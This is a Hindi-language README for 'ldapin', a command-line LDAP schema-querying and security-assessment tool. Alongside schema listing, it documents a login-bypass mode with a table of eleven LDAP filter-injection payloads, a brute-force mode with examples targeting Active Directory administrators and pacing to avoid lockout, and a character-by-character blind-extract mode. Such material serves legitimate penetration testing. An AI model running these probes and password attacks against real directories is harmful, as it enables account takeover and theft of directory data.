
बेसिक LDAP कार्य सुरक्षा मूल्यांकन के लिए करने हेतु CLI टूल
एक CLI टूल जो LDAP सर्वर के subschema को क्वेरी करके मान्य LDAP फ़ील्ड्स की खोज करता है। यह सर्वर से सीधे attributeTypes और objectClasses पढ़ता है, इसलिए परिणाम हमेशा वही दर्शाते हैं जो सर्वर वास्तव में समर्थित करता है।
# Run directly without installing
nix run github:your-user/ldapin
# Or build and link into ./result/bin/ldapin
nix build github:your-user/ldapin
Nix या NixOS उपयोगकर्ताओं के लिए एक पैकेज उपलब्ध है। ध्यान रखें कि नवीनतम रिलीज़ केवल
unstable चैनल में ही मौजूद हो सकती हैं।
nix-env -iA nixos.lapin
स्थानीय checkout से:
nix run .
nix build .
cargo install --path .
ldapin [OPTIONS]
Options:
-H, --host <HOST> LDAP server URL [default: ldap://localhost:389]
-D, --bind-dn <BIND_DN> Bind DN (omit for anonymous bind)
-w, --password <PASSWORD> Bind password
-W, --prompt-password Prompt for bind password interactively
-f, --filter <FILTER> Substring filter on name or description
-c, --object-class <NAME> Limit to a specific object class (with -m object-classes)
-m, --mode <MODE> What to show: attributes, object-classes, both [default: attributes]
-o, --output <OUTPUT> Output format: table, json, csv [default: table]
-b, --base-dn <BASE_DN> Base DN to search under (required for --mode login-bypass)
--user-attr <ATTR> User attribute name for login-bypass probes [default: uid]
--pass-attr <ATTR> Password attribute name for login-bypass probes [default: userPassword]
-u, --target-user <USER> Target username for login-bypass probes
--starttls Upgrade connection with STARTTLS
--insecure Skip TLS certificate verification
-h, --help Print help
-V, --version Print version
स्थानीय सर्वर पर सभी attribute प्रकारों की सूची बनाएँ:
ldapin
प्रमाणित करें और सभी object classes की सूची बनाएँ:
ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes
mail से संबंधित सभी attributes खोजें:
ldapin -H ldap://ldap.example.org -f mail
JSON में सब कुछ दिखाएँ:
ldapin -H ldaps://ldap.example.org -m both -o json
सभी attributes को CSV में निर्यात करें:
ldapin -H ldap://ldap.example.org -o csv > attributes.csv
inetOrgPerson object class प्रविष्टि दिखाएँ:
ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson
STARTTLS के साथ कनेक्ट करें:
ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W
ForumSys एक निःशुल्क, read-only LDAP सर्वर प्रदान करता है जो परीक्षण के लिए उपयुक्त है।
| Parameter | Value |
|---|---|
| Host | ldap.forumsys.com |
| Port | 389 |
| Bind DN | cn=read-only-admin,dc=example,dc=com |
| Password | password |
| Base DN | dc=example,dc=com |
सभी attribute प्रकारों की सूची बनाएँ (anonymous bind):
ldapin -H ldap://ldap.forumsys.com
सभी attribute प्रकारों की सूची बनाएँ (authenticated):
ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password
सभी object classes की सूची बनाएँ:
ldapin -H ldap://ldap.forumsys.com -m object-classes
inetOrgPerson object class दिखाएँ:
ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson
नाम के अनुसार attributes फ़िल्टर करें:
ldapin -H ldap://ldap.forumsys.com -f mail
सब कुछ JSON में निर्यात करें:
ldapin -H ldap://ldap.forumsys.com -m both -o json
login-bypass मोड एक LDAP सर्वर को filter-injection कमज़ोरियों के लिए प्रोब करता है।
यह ज्ञात LDAP injection तकनीकों से व्युत्पन्न 11 payloads बनाता है और रिपोर्ट करता है
कि कौन से entries लौटाते हैं। वही परिणाम जो एक कमज़ोर वेब एप्लिकेशन उत्पन्न करेगा
यदि वह अपना authentication filter असैनिटाइज़्ड उपयोगकर्ता इनपुट से बनाता है।
# Probe with anonymous bind, any-user payloads
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com
# Probe for a specific account
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein
# Active Directory. Use sAMAccountName and unicodePwd
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
--user-attr sAMAccountName --pass-attr unicodePwd -u administrator
# JSON output for scripting
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json
परीक्षित payloads:
| Payload | Filter template |
|---|---|
wildcard-both | (&(uid=*)(userPassword=*)) |
wildcard-password | (&(uid=TARGET)(userPassword=*)) |
negate-password | (&(uid=TARGET)(!(userPassword=void))) |
or-always-true | (|(uid=*)(uid=TARGET)) |
double-or-inject | (|(uid=*)(uid=*)) |
and-tautology | (&(uid=TARGET)(|(userPassword=*)(userPassword=*))) |
objectclass-wildcard | (&(uid=*)(objectClass=*)) |
not-nonexistent | (!(&(uid=__ldapin_nonexistent__))) |
empty-password | (&(uid=TARGET)(userPassword=)) |
wildcard-user-prefix | (&(uid=TARGET*)(userPassword=*)) |
bare-user-wildcard | (uid=*) |
ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com
brute-force मोड पहले एक LDAP search के माध्यम से लक्ष्य उपयोगकर्ता का पूर्ण DN resolve करता है, फिर
wordlist की प्रत्येक पंक्ति के लिए simple_bind(dn, password) का प्रयास करता है, और पहली सफलता पर रुक जाता है।
आवश्यक flags: -b / --base-dn, -u / --target-user, --wordlist।
# Basic dictionary attack
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt
# With a 500 ms delay between attempts to stay under lockout thresholds
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500
# Active Directory (use sAMAccountName)
ldapin -H ldap://dc.corp -m brute-force \
-b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
--wordlist passwords.txt
# JSON output
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json
प्रगति (DN resolution, प्रयास गणना, परिणाम) stderr पर लिखी जाती है; परिणाम stdout पर जाता है,
इसलिए -o json और -o csv साफ़ तौर पर pipe होते हैं।
# Create a small wordlist with the known password
echo password > /tmp/test.txt
ldapin -H ldap://ldap.forumsys.com -m brute-force \
-b dc=example,dc=com -u einstein --wordlist /tmp/test.txt
blind-extract मोड किसी भी पठनीय attribute का मान एक बार में एक अक्षर
wildcard-suffix फ़िल्टर के साथ बार-बार प्रोब करके पुनर्प्राप्त करता है:
(&(uid=TARGET)(mail=a*)) -> no entries
(&(uid=TARGET)(mail=e*)) -> entries found -> 'e'
(&(uid=TARGET)(mail=ei*)) -> entries found -> 'ei'
...
यह उन कमज़ोर वेब एप्लिकेशनों के विरुद्ध उपयोग किए जाने वाले क्लासिक blind injection लूप का direct-LDAP समकक्ष है जो असैनिटाइज़्ड इनपुट से LDAP फ़िल्टर बनाते हैं।
आवश्यक flags: -b / --base-dn, -u / --target-user, --extract-attr।
# Extract the mail attribute for user "einstein"
ldapin -H ldap://target -m blind-extract \
-b dc=example,dc=com -u einstein --extract-attr mail